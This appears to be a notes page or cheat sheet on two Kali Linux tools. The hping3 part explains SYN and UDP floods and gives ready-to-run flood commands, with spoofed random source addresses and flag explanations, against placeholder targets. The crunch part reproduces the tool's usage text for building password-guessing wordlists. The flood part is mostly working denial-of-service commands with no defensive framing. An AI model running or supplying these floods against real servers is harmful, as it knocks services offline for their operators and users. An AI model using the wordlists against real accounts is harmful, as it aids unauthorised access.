hping3

In summary, the aim of SYN flood is sending lots of SYN packets to the
server and ignoring SYN+ACK packets returned by the server. This causes
the server to use their resources for a configured amount of time for
the possibility of the expected ACK packets arriving.

If an attacker sends enough SYN packets, this will overwhelm the server
because servers are limited in the number of concurrent TCP connections.
If the server reaches its limit, it cannot establish new TCP connections
until the existing connections which are in the SYN-RCVD state timeout.

SYN flood attacks can be performed with hping3.

Simple SYN flood:

    root@kali:~# hping3 -S --flood -V -p TARGET_PORT TARGET_SITE
    using eth0, addr: xxx.xxx.xxx.xxx, MTU: 1500
    HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 0 data
bytes
    hping in flood mode, no replies will be shown

Advanced SYN flood with random source IP, different data size, and
window size:

    root@kali:~# hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood
--rand-source TARGET_SITE
    HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 120
data bytes
    hping in flood mode, no replies will be shown

–flood: sent packets as fast as possible
–rand-source: random source address
-c –count: packet count
-d –data: data size
-S –syn: set SYN flag
-w –win: winsize (default 64)
-p –destport: destination port (default 0)

For detailed information see the manual.
UDP Flood

UDP is a protocol which does not need to create a session between two
devices. In other words, no handshake process required.

A UDP flood does not exploit any vulnerability. The aim of UDP floods is
simply creating and sending large amount of UDP datagrams from spoofed
IP’s to the target server. When a server receives this type of traffic,
it is unable to process every request and it consumes its bandwidth with
sending ICMP “destination unreachable” packets.

hping3 can be used for creating UDP floods:

    root@kali:~# hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP
    HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): udp mode set, 28
headers + 0 data bytes
    hping in flood mode, no replies will be shown

–flood: sent packets as fast as possible
–rand-source: random source address
–udp: UDP mode
-p –destport: destination port (default 0)

For detailed information see the manual.

crunch

  • Wordlists erstellen unter bestimmten Kriterien
usage: crunch <min-len> <max-len> [charset] [-o wordlist.txt] [-t [FIXED]@@@@] [-s startblock] [-c number]
or
usage: crunch <min-len> <max-len> [-f <path to charset.lst> charset-name] [-o wordlist.txt] [-t [FIXED]@@@@] [-s startblock] [-c number]

min-len is the minimum length string you want crunch to start at
max-len is the maximum length string you want crunch to end at

[charset] is optional.  You may specify a character set for crunch to use on the command line or if you leave it blank crunch will use abcdefghijklmnopqrstuvwxyz as the character set.  NOTE: If you want to include the space character in your character set you use enclose your character set in quotes i.e. "abc "

[-f <path to charset.lst> <charset-name>] is the alternative to setting the character set on command line.  This parameter allows you to specify a character set from the charset.lst.
NOTE: You may either not specify a charset, you may specify a character set on the command line, or you may specify -f <path to charset.lst> <charset-name>.  You can only do one.

[-t [FIXED]@@@@] is optional and allows you to specify a pattern, eg: @@god@@@@ where the only the @'s will change

[-s startblock] is optional and allows you to specify the starting string, eg: 03god22fs

[-o wordlist.txt] is optional allows you to specify the file to write the output to, eg: wordlist.txt

[-c number] is optional and specifies the number of lines to write to output file, only works if -o START is used, eg: 60  The ouput files will be in the format of starting letter-ending letter for example:
 ./crunch 1 1 -f /pentest/password/crunch/charset.lst
 mixalpha-numeric-all-space -o START -c 60
 will result in 2 files: a-7.txt and 8-\ .txt  The reason for the slash in  the second filename is the ending character is space and ls has to escape it to print it.  Yes you will need to put in the \ when specifing the filename.

examples:
./crunch 1 8
crunch will display a wordlist that starts at a and ends at zzzzzzzz

./crunch 1 6 abcdefg
crunch will display a wordlist using the charcterset abcdefg that starts at a and ends at gggggg

./crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt
crunch will use the mixalpha-numberic-all-space character set from charset.lst and will write the wordlist to a file named wordlist.txt.  The file will start with a and end with "        "

./crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdogaaa
crunch will generate a 8 character wordlist using the mixalpha-number-all-space characterset from charset.lst and will write the wordlist to a file named wordlist.txt.  The file will start at cbdogaaa and end at "  dog   "
